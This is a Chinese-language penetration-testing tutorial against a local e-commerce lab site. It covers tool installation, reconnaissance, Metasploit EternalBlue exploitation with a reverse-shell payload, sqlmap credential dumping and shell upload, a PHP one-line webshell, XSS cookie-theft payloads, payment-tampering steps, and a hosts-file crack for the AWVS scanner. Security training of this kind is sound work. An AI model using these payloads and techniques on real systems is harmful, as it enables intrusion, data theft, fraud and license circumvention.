一、什么是渗透测试?为什么要做?

1.1 一句话讲明白

渗透测试就是由专业的安全人员(俗称"白帽子"),模拟真实黑客的攻击手段,主动去发现系统的安全漏洞,然后提供修复建议的过程。

你可以把渗透测试想象成:你请一个专业锁匠来检查你家的门锁是不是安全的。锁匠会尝试各种方法打开你的锁,然后告诉你哪里有问题,怎么改进。

1.2 为什么要做渗透测试?

原因

解释

发现漏洞

通过模拟攻击,找出系统里可能被黑客利用的安全漏洞

验证防护

检查防火墙、入侵检测系统等安全措施是否真的有效

提高意识

帮助企业了解面临的安全威胁,提高员工安全意识

合规要求

很多行业标准(如等保2.0)和法规要求定期进行安全测试

1.3 渗透测试怎么做?

渗透测试通常分为以下几步:

信息收集 → 漏洞扫描 → 漏洞利用 → 后渗透 → 报告撰写

二、渗透测试环境准备

2.1 操作系统选择

推荐使用 Kali Linux,它是专门为渗透测试设计的 Linux 发行版,默认预装了数百个安全工具。

Kali Linux 安装
  1. 访问官网:Get Kali | Kali Linux

  2. 下载 Kali Linux 镜像文件(推荐 Kali Linux Installer)

  3. 使用 VMware/VirtualBox 虚拟机安装

  4. 默认用户名:kali,密码:kali

其他可选系统

系统

说明

Parrot Security OS

类似Kali,更轻量

BlackArch Linux

基于Arch,工具最多

Ubuntu + 手动装工具

灵活但需要自己配置

2.2 Java 环境配置

许多渗透工具(如 BurpSuite、Nessus、AWVS)依赖 Java 环境。

# 检查是否已安装
java -version

# 如果未安装,执行以下命令安装 OpenJDK
sudo apt update
sudo apt install default-jdk -y

# 验证安装
java -version
# 输出类似:openjdk version "17.0.x"

2.3 Python 环境配置

许多扫描工具基于 Python 开发。

# Kali Linux 默认已安装 Python3
python3 --version

# 升级 pip
sudo pip3 install --upgrade pip setuptools wheel

# 配置国内镜像源(加速下载)
# 创建配置文件
mkdir -p ~/.pip
cat > ~/.pip/pip.conf << 'EOF'
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/
trusted-host = mirrors.aliyun.com
EOF

# 验证配置
pip3 config list

2.4 常用依赖库安装

# 安装编译工具和常用依赖
sudo apt update
sudo apt install -y build-essential git curl wget unzip zip

# 安装 Python 常用库
pip3 install requests beautifulsoup4 lxml

# 安装 Ruby 依赖(部分工具需要)
sudo apt install -y ruby ruby-dev
sudo gem install bundler

三、工具安装配置完整指南

3.1 信息收集工具

3.1.1 Nmap - 端口扫描神器

工具介绍:Nmap 是最强大的网络扫描工具,用于端口扫描、操作系统检测、服务版本识别。

Kali Linux 预装:默认已安装,直接使用。

# 检查是否已安装
nmap --version

# 如果未安装
sudo apt update
sudo apt install nmap -y

# 基本使用
nmap 192.168.1.1
nmap -O -sV 192.168.1.1    # 操作系统检测+版本扫描
nmap -p- 192.168.1.1        # 全端口扫描(65535个端口)
3.1.2 Dirsearch - 目录扫描工具

工具介绍:Python 开发的高级目录扫描工具,支持多线程、多字典。

安装步骤

# 方式一:git clone 安装
cd /opt
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch

# 安装依赖
pip3 install -r requirements.txt

# 方式二:pip 直接安装
pip3 install dirsearch

# 验证安装
dirsearch --help
python3 /opt/dirsearch/dirsearch.py --help

使用示例

# 基本扫描
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com

# 指定扩展名
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -e php,txt,zip,bak

# 使用字典文件
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -w /path/to/wordlist.txt

# 保存结果
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -o result.txt
3.1.3 Dirmap - 目录扫描(显示响应大小)

工具介绍:与 dirsearch 不同,dirmap 会显示每个 URL 的响应大小,便于区分真实页面和虚假页面。

安装步骤

# 克隆项目
cd /opt
git clone https://github.com/H4ckForJob/dirmap.git
cd dirmap

# 安装依赖(注意:dirmap的requirements.txt无s)
pip3 install -r requirement.txt

# 如果requirements.txt不存在,手动安装
pip3 install requests beautifulsoup4 lxml

# 验证安装
python3 dirmap.py -h

使用示例

# 扫描指定URL
python3 dirmap.py -i http://www.example1.com/ -lcf

# 参数说明:
# -i: 目标URL
# -l: 列出所有结果
# -c: 显示响应内容
# -f: 过滤小文件
3.1.4 Dirb - 经典目录扫描器

工具介绍:Kali Linux 预装的经典目录扫描工具,简单易用。

安装步骤

# Kali Linux 默认已安装
dirb --version

# 如果未安装
sudo apt install dirb -y

使用示例

# 使用默认字典扫描
dirb http://www.example1.com

# 使用自定义字典
dirb http://www.example1.com /path/to/wordlist.txt

# 保存结果
dirb http://www.example1.com -o result.txt
3.1.5 WhatWeb - 指纹识别工具

工具介绍:识别网站使用的 CMS、框架、技术栈等。

安装步骤

# Kali Linux 默认已安装
whatweb --version

# 如果未安装
sudo apt install whatweb -y

# 或使用 Ruby gem 安装
sudo gem install whatweb

使用示例

# 识别单个网站
whatweb http://www.example1.com

# 识别多个网站
whatweb http://www.example1.com http://www.example2.com

# 详细输出
whatweb -v http://www.example1.com

# 保存结果
whatweb http://www.example1.com -o result.txt
3.1.6 7kbscan(铸剑)- 图形化目录扫描

工具介绍:国产图形化目录扫描工具,界面友好,适合新手。

安装步骤

# 方式一:GitHub下载
cd /opt
git clone https://github.com/7kbstorm/7kbscan.git
cd 7kbscan

# 安装依赖
pip3 install requests

# 运行(需要图形界面)
python3 7kbscan.py

# 方式二:下载exe(Windows系统)
# 访问 https://github.com/7kbstorm/7kbscan/releases
# 下载 7kbscan_*.exe 直接运行
3.1.7 cmseek - CMS识别工具

工具介绍:自动识别网站使用的 CMS 系统及其版本。

安装步骤

# 克隆项目
cd /opt
git clone https://github.com/TideSec/CMSeeK.git
cd CMSeeK

# 安装依赖
pip3 install requests beautifulsoup4 lxml

# 运行
python3 cmseek.py -u http://www.example1.com

3.2 漏洞扫描工具

3.2.1 Goby - 国产资产测绘神器

工具介绍:基于网络空间测绘技术的快速漏洞扫描工具,国产精品。

安装步骤

# 访问官网下载
# https://gobies.org/

# Linux版本
cd /opt
wget https://github.com/zema1/goby/releases/download/v1.8.27/goby_linux_amd64.zip
unzip goby_linux_amd64.zip
chmod +x goby
sudo mv goby /usr/local/bin/

# Windows版本
# 下载 goby_windows_amd64.zip 解压即可使用

# 验证安装
goby version

使用示例

# 启动Goby
goby

# 或指定目标IP扫描
goby -t 192.168.1.1/24

# 导出结果
goby -t 192.168.1.1 -o result.json
3.2.2 Nessus - 世界最流行漏洞扫描器

工具介绍:功能最全面的漏洞扫描平台,全球超过75000个组织在用。

安装步骤

# 方式一:下载安装包
# 访问 https://www.tenable.com/products/nessus/nessus-essentials
# 注册免费账号(Nessus Essentials)

# 下载 Linux 版本
cd /opt
# 从官网获取最新下载链接
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus-essentials/downloads/14587/download
chmod +x Nessus*
sudo dpkg -i Nessus-*  # Debian/Ubuntu
# 或
sudo rpm -ivh Nessus-*  # CentOS/RHEL

# 启动服务
sudo systemctl start nessusd
sudo systemctl enable nessusd

# 查看状态
sudo systemctl status nessusd

# 访问控制台
# 浏览器打开:https://localhost:8834
# 首次访问需要设置管理员密码

首次使用

  1. 浏览器访问 https://localhost:8834

  2. 设置管理员用户名和密码

  3. 输入 Activation Code(从注册邮箱获取)

  4. 等待插件下载完成(首次启动较慢)

  5. 创建扫描任务

3.2.3 AWVS - 专业Web漏洞扫描器

工具介绍:Acunetix Web Vulnerability Scanner,最知名的Web漏洞扫描工具。

安装步骤

# 方式一:官网下载
# 访问 https://www.acunetix.com/download/
# 下载 Linux 版本

# 安装
chmod +x awvs*
sudo ./awvs

# 方式二:Docker 安装(推荐)
docker pull securesoftware/awvs
docker run -d -p 3443:3443 --name awvs securesoftware/awvs

# 访问控制台
# 浏览器打开:https://localhost:3443

hosts 破解(测试版)

# 编辑hosts文件
sudo nano /etc/hosts

# 添加以下内容
127.0.0.1 erp.acunetix.com
127.0.0.1 erp.acunetix.com.
::1 erp.acunetix.com
::1 erp.acunetix.com.
192.168.49.174 telemetry.invicti.com
192.168.49.174 telemetry.invicti.com.
3.2.4 Xray - 长亭科技被动扫描器

工具介绍:长亭科技开发的社区版漏洞扫描工具,被动模式可在人工测试时辅助扫描。

安装步骤

# 访问官网下载
# https://docs.xray.cool/#/tutorial/webscan_proxy

# Linux版本
cd /opt
wget https://github.com/chaitin/xray/releases/download/1.8.5/xray_linux_amd64.zip
unzip xray_linux_amd64.zip
chmod +x xray
sudo mv xray /usr/local/bin/

# Windows版本
# 下载 xray_windows_amd64.zip 解压即可

# 验证安装
xray version

使用配置

# 生成CA证书(HTTPS扫描必需)
xray genca
# 证书路径:~/.xray/ca.crt
# 浏览器导入此CA证书

# 启动被动扫描模式
xray webscan --listen 127.0.0.1:7777 --html-output=report.html

# 参数说明:
# --listen: 监听地址和端口
# --html-output: 报告输出路径

3.3 漏洞利用工具

3.3.1 Metasploit Framework (MSF)

工具介绍:最强大的渗透测试框架,集成2000+漏洞利用模块。

Kali Linux 预装:默认已安装。

# 检查是否已安装
msfconsole --version

# 如果未安装
sudo apt update
sudo apt install metasploit-framework -y

# 更新到最新版本
msfupdate
# 或
sudo apt upgrade metasploit-framework

基本使用流程

# 启动MSF控制台
msfconsole

# 搜索漏洞模块
search ms17-010

# 加载模块
use exploit/windows/smb/ms17_010_eternalblue

# 查看配置参数
show options

# 设置目标参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 执行攻击
run
# 或
exploit
3.3.2 SearchSploit - 漏洞库搜索工具

工具介绍:Exploit-DB 官方命令行搜索工具,可搜索数千个公开漏洞利用代码。

Kali Linux 预装:默认已安装。

# 检查是否已安装
searchsploit --version

# 如果未安装
sudo apt install exploitdb -y

# 更新漏洞库(首次使用或长时间未更新)
searchsploit -u

# 搜索特定漏洞
searchsploit ms17-010
searchsploit apache
searchsploit php 7.0

# 查看漏洞详情
searchsploit -x 42031

# 复制漏洞利用代码到当前目录
searchsploit -m 42031

Exploit-DB 目录说明

目录

内容

dos/

拒绝服务攻击代码

local/

本地漏洞利用代码(需已有权限)

remote/

远程漏洞利用代码

webapps/

Web应用漏洞利用代码

3.3.3 SqlMap - SQL注入自动化工具

工具介绍:自动化 SQL 注入工具,支持多种数据库和注入类型。

Kali Linux 预装:默认已安装。

# 检查是否已安装
sqlmap --version

# 如果未安装
sudo apt install sqlmap -y

# 或使用 pip 安装最新版
pip3 install sqlmap --upgrade

常用命令

# 基本扫描
sqlmap -u "http://www.example1.com/index.php?id=1"

# 指定注入参数
sqlmap -u "http://www.example1.com/index.php?id=1" -p id

# 获取数据库列表
sqlmap -u "http://www.example1.com/index.php?id=1" --dbs

# 获取当前数据库
sqlmap -u "http://www.example1.com/index.php?id=1" --current-db

# 获取指定数据库的表
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname --tables

# 获取表的字段
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname -T tablename --columns

# 导出数据
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname -T tablename --dump

# 获取Shell
sqlmap -u "http://www.example1.com/index.php?id=1" --os-shell

# 指定POST数据
sqlmap -u "http://www.example1.com/search" --data="word=test"
3.3.4 BurpSuite - 抓包改包神器

工具介绍:最流行的 Web 渗透测试图形化工具,支持抓包、改包、爆破等。

安装步骤

# 方式一:官网下载
# 访问 https://portswigger.net/burp/releases
# 下载 Burp Suite Community Edition(免费社区版)

# Linux 安装
cd /opt
# 下载 burpsuite_community_linux_v*.sh
chmod +x burpsuite_community_linux_v*.sh
sudo ./burpsuite_community_linux_v*.sh

# 启动
burpsuite
# 或
java -jar burpsuite.jar

# 方式二:直接下载 jar
# 从官网下载 burpsuite-community-v*.jar
java -jar burpsuite-community-v*.jar

核心模块

模块

功能

Proxy

拦截和修改HTTP请求

Repeater

重发请求,手动测试

Intruder

暴力破解、模糊测试

Decoder

编码/解码工具

Comparer

比较两个响应的差异

Extender

插件扩展

3.3.5 Hydra - 密码爆破工具

工具介绍:支持多种协议的网络登录破解工具。

Kali Linux 预装:默认已安装。

# 检查是否已安装
hydra -v

# 如果未安装
sudo apt install hydra -y

# 使用示例
# SSH 爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ssh

# FTP 爆破
hydra -l admin -P /path/to/passlist.txt 192.168.1.1 ftp

# MySQL 爆破
hydra -l root -P /path/to/passlist.txt 192.168.1.1 mysql

# 参数说明:
# -l: 指定用户名
# -L: 指定用户名字典
# -p: 指定密码
# -P: 指定密码字典
# -t: 指定并发数

3.4 后渗透工具

3.4.1 蚁剑 (AntSword) - WebShell管理工具

工具介绍:新一代 WebShell 管理工具,支持 PHP、ASPX、JSP 等多种后门。

安装步骤

# 方式一:官网下载
# 访问 https://www.antsword.net/
# 下载最新版本

# 方式二:GitHub下载
cd /opt
git clone https://github.com/AntSwordProject/AntSword-Lite.git
cd AntSword-Lite

# 解压运行(Windows)
# 双击 AntSword.exe

# Linux 运行
unzip AntSword-Linux.zip
chmod +x AntSword
./AntSword

常用插件

  • as_bypass_php_disable_functions - 绕过PHP禁用函数

  • as_phpinfo - 查看PHP配置

  • as_cmd - 执行系统命令

  • as_filemanager - 文件管理

绕过disable_functions插件安装

# 下载插件
cd /opt
git clone https://github.com/l3m0n/Bypass_Disable_functions_Shell.git

# 解压到蚁剑插件目录
# Windows: AntSword/plugins/
# 或在蚁剑中:设置 → 插件设置 → 加载本地插件

# 重启蚁剑后使用
3.4.2 Weevely - PHP Webshell生成工具

工具介绍:生成加密的 PHP WebShell,用于远程控制。

安装步骤

# Kali Linux 默认已安装
weevely --help

# 如果未安装
sudo apt install weevely -y

# 使用示例
# 生成密码保护的WebShell
weevely generate password /path/to/shell.php

# 参数说明:
# generate: 生成模式
# password: 连接密码
# /path/to/shell.php: 输出路径

3.5 CMS/框架专用扫描工具

3.5.1 ThinkPHPGUI - ThinkPHP漏洞扫描

工具介绍:专门针对 ThinkPHP 框架的漏洞扫描工具。

安装步骤

# 克隆项目
cd /opt
git clone https://github.com/bewhale/thinkphp_gui_tools.git
cd thinkphp_gui_tools

# 安装依赖
pip3 install gevent requests beautifulsoup4

# 运行
python3 thinkphp_gui.py
3.5.2 TPscan - ThinkPHP扫描器

工具介绍:快速扫描 ThinkPHP 5.x 版本的常见漏洞。

安装步骤

# 克隆项目
cd /opt
git clone https://github.com/lyz0n/TPscan.git
cd TPscan

# 安装依赖
pip3 install requests

# 运行
python3 tpscan.py -u http://www.example1.com
3.5.3 WPScan - WordPress扫描器

工具介绍:针对 WordPress 的专用漏洞扫描工具。

安装步骤

# 安装 Ruby(如果未安装)
sudo apt install ruby ruby-dev -y

# 安装 WPScan
sudo gem install wpscan

# 如果 gem install 速度慢,使用国内镜像
sudo gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/
sudo gem install wpscan

# 更新漏洞数据库
wpscan --update

# 使用
wpscan --url http://www.wordpress-site.com

3.6 密码字典资源

常用字典路径
# Kali Linux 自带字典
/usr/share/wordlists/rockyou.txt        # 最常用的密码字典
/usr/share/wordlists/dirb/              # Dirb字典
/usr/share/dict/                        # 系统字典

# 其他字典资源
# https://github.com/brannondorsey/naive-hashcat/releases
# https://github.com/danielmiessler/SecLists
SecLists 字典合集
# 克隆 SecLists(最大的安全字典合集)
cd /opt
git clone https://github.com/danielmiessler/SecLists.git

# 内容包括:
# passwords/     密码字典
# usernames/     用户名字典
# urls/          URL字典
# payloads/      Payload合集

四、靶场环境搭建

知识要学以致用,光看书没用!我们需要搭建一个靶场环境来实战练习。

4.1 靶机准备

安装靶机
  1. 下载靶机的 .ovf 文件(虚拟机镜像)

  2. 用 VMware Workstation 打开导入

  3. 修改虚拟机名称和存储路径

  4. 启动虚拟机,输入密码 123

注意事项
  • 检查小键盘是否开启(有些电脑开了虚拟机会自动关闭数字小键盘)

  • 进入虚拟机后检查网络是否开启(右上角 Enable Networking

4.2 部署Web应用

宝塔面板配置
  1. 在虚拟机中打开浏览器,访问:http://127.0.0.1:23978/a4c6d8bb

  2. 输入默认账号密码登录面板

  3. 绑定宝塔账号(可选)

常见问题处理

问题

解决方案

面板无法访问

重启宝塔服务:终端输入 sudo bt → 选1重启

面板无法打开

清除浏览器缓存:设置 → 搜索 cache → Clear Data

启动Web应用

进入宝塔面板的网站管理,确保网站状态为"运行中"。

4.3 访问Web应用

配置Hosts解析

因为是本地靶场,需要手动配置域名解析:

Windows系统

打开 C:\Windows\System32\drivers\etc\hosts
添加:192.168.x.x www.example1.com

Linux系统

sudo vim /etc/hosts
# 添加
192.168.x.x www.example1.com

配置完成后访问 http://www.example1.com/ 即可。


五、信息收集(侦察敌情)

渗透测试就像打仗,战前侦察敌情越充分,赢的几率就越大!

5.1 IP地址收集

方法一:直接ping

ping www.example1.com

方法二:通过DNS解析

nslookup www.example1.com
# 或
dig www.example1.com
通过TTL判断操作系统

TTL值

操作系统

128

Windows

64

Linux

255

Cisco等网络设备

5.2 端口扫描

使用Nmap扫描

# 基本扫描
nmap 192.168.x.x

# 详细扫描(操作系统+版本)
sudo nmap -O -sV 192.168.x.x

# 全端口扫描
sudo nmap -p- 192.168.x.x
常见端口对应的服务

端口

服务

渗透测试意义

21

FTP

尝试弱口令、历史漏洞

22

SSH

尝试弱口令

80

HTTP

Web应用入口

443

HTTPS

Web应用入口(加密)

3306

MySQL

尝试弱口令、未授权访问

888

PhpMyAdmin

尝试弱口令、历史漏洞

6379

Redis

尝试未授权访问

5.3 目录扫描

手动探测

在浏览器直接访问常见敏感路径:

  • /admin - 后台管理

  • /login - 登录页

  • /web.config - 配置文件

  • /robots.txt - 爬虫规则

  • .git - Git源码泄露

  • /backup - 备份文件

工具扫描

dirmap 使用示例

# 扫描目标URL
cd /opt/dirmap
python3 dirmap.py -i http://www.example1.com/ -lcf

dirsearch 使用示例

cd /opt/dirsearch
python3 dirsearch.py -u http://www.example1.com -e php,txt,zip,bak
识别真实页面 vs 虚假页面

有些网站会对所有不存在的路径都返回同一个页面(通常是首页),这时候通过响应大小来区分:

  • 相同大小的页面 = 虚假页面

  • 不同大小的页面 = 真实页面

5.4 指纹识别

通过网站底部信息、错误页面、响应头等判断:

  • 使用的CMS/框架(如 iWebShop、ThinkPHP)

  • 开发语言(如 PHP、Java、Python)

  • 中间件(如 Nginx、Apache、IIS)

使用 WhatWeb 识别
whatweb http://www.example1.com
使用 cmseek 识别
cd /opt/CMSeeK
python3 cmseek.py -u http://www.example1.com

5.5 信息整理

收集完成后,把所有信息整理成表格:

信息类型

具体内容

域名

www.example1.com

IP

192.168.x.x

操作系统

Linux(内核4.15)

开放端口

21/80/888

开发语言

PHP

CMS

iWebShop

后台地址

http://www.example1.com/admin/


六、系统漏洞扫描

Web应用都是跑在操作系统上的,如果操作系统本身有漏洞,黑客可以直接拿下整台服务器!

6.1 Goby 扫描(国产神器)

Goby 是一个速度极快的资产测绘+漏洞扫描工具。

使用步骤
  1. 打开 Goby

  2. 添加目标IP

  3. 选择扫描模式

  4. 点击扫描

  5. 查看扫描结果

漏洞命名规则

前缀

含义

MS

微软内部漏洞编号(如 MS17-010)

CVE

国际标准漏洞编号

CVSS

漏洞评分(0-10分,越高越严重)

6.2 Nessus 扫描(世界最流行)

使用步骤
  1. 浏览器访问 https://localhost:8834

  2. 新建扫描任务(New Scan)

  3. 选择"高级扫描"模式

  4. 配置目标IP范围

  5. 开始扫描

  6. 查看报告

6.3 漏洞验证

扫描到漏洞后,必须人工验证!工具可能误报!

使用 Metasploit 验证
# 启动MSF
msfconsole

# 搜索漏洞模块
search ms17-010

# 加载模块
use exploit/windows/smb/ms17_010_eternalblue

# 查看配置
show options

# 设置目标IP
set rhosts 192.168.x.x

# 设置载荷
set payload windows/x64/meterpreter/reverse_tcp

# 执行攻击
run
使用 SearchSploit 验证
# 更新漏洞库
searchsploit -u

# 搜索漏洞
searchsploit ms17-010

# 复制利用代码
searchsploit -m 42031

# 执行POC
python 42031.py 192.168.x.x shellcode.bin
在线漏洞资源

国内平台

国外平台


七、Web应用漏洞扫描

7.1 CMS/框架历史漏洞

常见CMS漏洞扫描工具

工具

说明

安装命令

CMSScan

通用CMS漏洞扫描

见3.1.7

WPScan

WordPress专用扫描

见3.5.3

ThinkPHPGUI

ThinkPHP专用扫描

见3.5.1

TPscan

ThinkPHP专用扫描

见3.5.2

ThinkPHP 漏洞实验
# 启动TPscan
cd /opt/TPscan
python3 tpscan.py -u http://www.example1.com

# 或启动ThinkPHPGUI
cd /opt/thinkphp_gui_tools
python3 thinkphp_gui.py

7.2 AWVS 扫描(专业Web漏扫)

扫描前配置

1. 扫描速度配置

  • 当目标站点开启WAF时,降低扫描速度避免被封IP

2. 登录配置

  • 配置账号密码登录

  • 或录制登录序列

3. 请求配置

  • 配置代理(绕过WAF)

  • 修改请求头

扫描结果验证

扫描工具可能有漏报或误报,必须人工验证!


八、经典漏洞实战

8.1 DOM型XSS漏洞(低危)

什么是DOM型XSS?

就是恶意脚本存在于URL参数中,被浏览器直接执行,不经过服务器。

验证步骤
  1. 访问扫描器给出的测试URL

  2. 在页面按 F12 打开开发者工具

  3. 搜索关键字定位注入点

  4. 构造测试payload

  5. 确认漏洞存在

实际测试示例
# 原始URL(有XSS注入点)
http://www.example1.com/simple/cart2?wvstest=javascript:domxssExecutionSink(1,"'"><xsstag>()locxss")

# 构造payload窃取cookie
http://www.example1.com/simple/cart2?wvstest=javascript:alert(document.cookie)
危害等级说明

DOM型XSS属于低危漏洞,因为:

  • 需要受害者访问攻击者构造的链接

  • 还需要点击特定按钮(如提交订单)

  • 攻击局限性大

8.2 SQL注入漏洞(高危)

什么是SQL注入?

就是攻击者在URL参数中注入恶意SQL语句,让服务器执行非预期的数据库操作。

时间盲注验证
# 在URL中注入sleep函数
http://www.example1.com/index.php?action=search_list&controller=site&word=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z)XOR'Z)

# 如果页面延迟4秒加载,说明存在SQL注入
使用SqlMap数据爆破

1. 获取数据库名

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --current-db --batch

2. 获取数据库表

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com --tables --batch

3. 获取表字段

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin --columns --batch

4. 获取字段数据

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin -C admin_name,password --dump --batch
SqlMap 获取WebShell

获取Shell的前提条件

  1. MySQL的 secure_file_priv 为空

  2. 数据库账号有文件读写权限

  3. 网站使用的数据库账号有网站目录读写权限

  4. 知道网站目录路径

# 尝试获取交互式Shell
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --os-shell

# 上传一句话木马
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" --file-write ~/Downloads/shell.php --file-dest /www/wwwroot/www.example1.com/shell.php
一句话木马示例
<?php 
@eval($_POST['ant']);
?>
绕过 disable_functions

什么是disable_functions? PHP配置中禁止使用的危险函数列表(如 system、exec、shell_exec 等)。

绕过方法

  1. 使用蚁剑的绕过插件(见3.4.1)

  2. 利用其他未禁用的函数执行命令

  3. 使用 pcntl_execpopen 等替代函数

8.3 反射型XSS(中危)

什么是反射型XSS?

恶意脚本通过URL直接反射到页面,比DOM型更容易触发。

验证示例
# 直接在URL参数中注入脚本
http://www.example1.com/index.php?action=search_list&controller=site&word=1<script>alert(9709)</script>

# 如果页面弹窗显示"9709",说明反射型XSS存在

九、人工探查(逻辑漏洞)

随着安全意识提高,传统漏扫工具能扫出来的漏洞越来越少了。现在更常见的是逻辑漏洞,这些只能靠人工测试!

9.1 Xray 被动扫描辅助

配置方法

第一步:启动Xray监听

cd /opt
./xray webscan --listen 127.0.0.1:7777 --html-output=report.html

第二步:安装证书

# 生成CA证书
./xray genca
# 证书路径:~/.xray/ca.crt
# 浏览器导入此CA证书

第三步:配置浏览器代理

  • 代理地址:127.0.0.1

  • 代理端口:7777

第四步:开始浏览网站 在浏览器上的任何请求都会经过Xray自动测试,停止时生成报告。

9.2 多工具联动

可以把多个工具串联起来,实现自动化扫描:

方式一:浏览器 → Xray → AWVS
方式二:浏览器 → BurpSuite → Xray
方式三:浏览器 → Xray → BurpSuite
BurpSuite 与 Xray 联动
  1. 浏览器配置 BurpSuite 代理(端口8080)

  2. BurpSuite 配置 Xray 代理转发(端口7777)

  3. 请求流向:浏览器 → BurpSuite → Xray

9.3 电商特有功能测试思路

人工探查的核心思路:按照功能点逐一测试!

功能点

测试内容

用户注册/登录

SQL注入、弱口令、验证码绕过、短信轰炸

商品搜索

SQL注入、XSS

商品详情

参数篡改、越权访问

购物车

数量篡改、价格修改

订单支付

支付逻辑漏洞、金额篡改、订单状态修改

用户中心

越权访问、敏感信息泄露

后台管理

弱口令、验证码绕过、越权访问

文件上传

上传木马、类型绕过

第三方接口

未授权访问、接口滥用

9.4 支付逻辑漏洞实战

测试步骤
  1. 选择商品加入购物车

  2. 进入支付页面

  3. 使用 BurpSuite 抓包

  4. 修改价格参数(如 total_free 改为0)

  5. 观察响应结果

签名验证绕过

很多系统会用MD5对参数签名,防止篡改。

# 在线MD5计算:https://cmd5.com/hash.aspx
# 示例:对 attach + order_no 进行签名

9.5 后台弱口令与验证码绕过

测试步骤
  1. 访问后台登录页面

  2. 输入任意用户名,观察提示

  3. 输入用户名 admin,观察提示变化

  4. 猜测逻辑验证顺序:

    验证码是否正确 → 用户名是否存在 → 用户名与密码是否匹配
  5. 尝试验证码重复利用

  6. 使用 BurpSuite 爆破密码(结合验证码识别插件)


十、渗透测试完整流程总结

┌─────────────────────────────────────────────────────────┐
│              电商系统Web渗透测试完整流程                │
├─────────────────────────────────────────────────────────┤
│  1. 环境准备                                            │
│     ├── Kali Linux 安装配置                            │
│     ├── Java/Python 环境配置                           │
│     ├── 靶场环境搭建                                    │
│     └── Hosts解析配置                                   │
│                                                         │
│  2. 工具安装                                            │
│     ├── 信息收集工具(nmap, dirsearch, dirmap等)       │
│     ├── 漏洞扫描工具(Goby, Nessus, AWVS, Xray)       │
│     ├── 漏洞利用工具(MSF, sqlmap, BurpSuite)         │
│     └── 后渗透工具(蚁剑, Weevely)                    │
│                                                         │
│  3. 信息收集                                            │
│     ├── IP地址收集(ping/nslookup)                     │
│     ├── 端口扫描(nmap)                                │
│     ├── 目录扫描(dirsearch/dirmap)                    │
│     ├── 指纹识别(WhatWeb/cmseek)                      │
│     └── 信息整理归档                                    │
│                                                         │
│  4. 系统漏洞扫描                                        │
│     ├── Goby 快速扫描                                   │
│     ├── Nessus 详细扫描                                 │
│     └── 漏洞验证(MSF/searchsploit)                     │
│                                                         │
│  5. Web应用漏洞扫描                                     │
│     ├── CMS/框架历史漏洞                                │
│     ├── AWVS 自动扫描                                   │
│     └── 扫描结果人工验证                                │
│                                                         │
│  6. 人工功能测试                                        │
│     ├── Xray 被动扫描辅助                               │
│     ├── 多工具联动                                      │
│     ├── 支付逻辑测试                                    │
│     ├── 后台弱口令测试                                  │
│     └── 其他功能点测试                                  │
│                                                         │
│  7. 漏洞利用                                            │
│     ├── SQL注入 → SqlMap爆破数据                        │
│     ├── XSS → 验证危害等级                              │
│     └── 获取WebShell → 后渗透                           │
│                                                         │
│  8. 报告撰写                                            │
│     ├── 漏洞描述                                        │
│     ├── 复现步骤                                        │
│     ├── 风险等级                                        │
│     └── 修复建议                                        │
└─────────────────────────────────────────────────────────┘

十一、常用工具速查清单

11.1 工具安装命令汇总

工具

安装命令

nmap

sudo apt install nmap -y(Kali预装)

dirsearch

git clone https://github.com/maurosoria/dirsearch.gitpip3 install -r requirements.txt

dirmap

git clone https://github.com/H4ckForJob/dirmap.gitpip3 install -r requirement.txt

dirb

sudo apt install dirb -y(Kali预装)

WhatWeb

sudo apt install whatweb -y(Kali预装)

7kbscan

git clone https://github.com/7kbstorm/7kbscan.gitpip3 install requests

cmseek

git clone https://github.com/TideSec/CMSeeK.gitpip3 install requests beautifulsoup4 lxml

Goby

官网下载 Goby— 资产绘测及实战化漏洞扫描工具

Nessus

官网下载 Vulnerability and exposure management | Cloud and AI security | Tenable®

AWVS

官网下载 Acunetix | Web Application Security Scanner

Xray

官网下载 介绍 - xray Documentation

Metasploit

sudo apt install metasploit-framework -y(Kali预装)

SearchSploit

sudo apt install exploitdb -y(Kali预装)

SqlMap

sudo apt install sqlmap -y(Kali预装)

BurpSuite

官网下载 Burp - Web Application Security, Testing, & Scanning - PortSwigger

Hydra

sudo apt install hydra -y(Kali预装)

蚁剑

官网下载 https://www.antsword.net/

Weevely

sudo apt install weevely -y(Kali预装)

ThinkPHPGUI

git clone https://github.com/bewhale/thinkphp_gui_tools.gitpip3 install gevent

TPscan

git clone https://github.com/lyz0n/TPscan.gitpip3 install requests

WPScan

sudo gem install wpscan(需先装Ruby)

11.2 工具分类索引

分类

工具

信息收集

nmap, dirsearch, dirmap, dirb, WhatWeb, 7kbscan, cmseek

系统漏扫

Goby, Nessus

Web漏扫

AWVS, Xray

漏洞利用

Metasploit, SearchSploit, SqlMap

抓包爆破

BurpSuite, Hydra

后渗透

蚁剑, Weevely

CMS扫描

ThinkPHPGUI, TPscan, WPScan


十二、常见漏洞类型与危害等级

漏洞类型

危害等级

说明

SQL注入

🔴 高危

可导致数据泄露、数据篡改、获取Shell

存储型XSS

🔴 高危

恶意脚本永久存在,所有访问者都会触发

反射型XSS

🟠 中危

需要诱导用户点击特定链接

DOM型XSS

🟡 低危

利用条件多,攻击局限性大

支付逻辑漏洞

🔴 高危

直接造成经济损失

后台弱口令

🟠 中危

可能被爆破获取后台权限

未授权访问

🟠 中危

可直接访问敏感功能或数据

文件上传漏洞

🔴 高危

